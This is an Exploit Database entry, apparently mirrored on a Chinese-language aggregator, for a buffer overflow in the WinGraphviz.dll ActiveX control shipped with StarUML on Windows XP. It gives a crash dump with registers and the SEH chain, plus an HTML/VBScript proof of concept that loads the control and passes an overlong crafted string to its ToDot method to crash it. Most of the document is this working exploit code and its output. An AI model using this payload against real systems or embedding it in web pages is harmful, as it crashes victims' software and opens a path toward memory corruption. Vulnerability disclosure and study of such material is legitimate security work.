StarUML – ‘WinGraphviz.dll’ ActiveX Buffer Overflow

• Exploit Database
• 118 阅读

• 作者： d3b4g
  日期： 2013-08-03
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/27317/
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  # Exploit Title: StarUML WinGraphviz.dll ActiveX buffer overflow vulnerability # Date: 03.8.2013 # Exploit Author: d3b4g # Vendor Homepage:http://staruml.sourceforge.net/en/ # Software Link: http://staruml.sourceforge.net/en/ # Tested on: Windows XP SP3   About StarUML --------------   StarUML is an open source project to develop fast, flexible, extensible, featureful, and freely-available UML/MDA platform running on Win32 platform.         Exception Code: ACCESS_VIOLATION Disasm: D98439 MOV DL,[EBP] (WinGraphviz.DLL)   Seh Chain: -------------------------------------------------- 1 6B47D959 VBSCRIPT.dll 2 772FE115 ntdll.dll     Called From Returns To --------------------------------------------------     Registers: -------------------------------------------------- EIP 00D98439 -> Asc: http://test\test\test\te?s\test\test\tes\ttest\tes EAX 00894119 -> Asc: http://test\test\test\te?s\test\test\tes\ttest\tes EBX 0020D70A -> 00000038 ECX 00894119 -> Asc: http://test\test\test\te?s\test\test\tes\ttest\tes EDX 000003FF EDI 000003FE ESI 00000000 EBP 00000000 ESP 0020D618 -> 00000059       The example code below triggers the vulnerability -------------------------------------------------     <object classid=&apos;clsid:1F25D86C-95BC-4E33-A177-EE8DABEF8B04&apos; id=&apos;target&apos; /> <script language=&apos;vbscript&apos;> targetFile = "C:\Program Files\StarUML\WinGraphviz.dll" prototype= "Function ToDot ( ByVal Source As String ) As String" memberName = "ToDot" progid = "WINGRAPHVIZLib.NEATO" argCount = 1   arg1="http://test\test\test\te?s\test\test\tes\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\"   target.ToDot arg1   </script>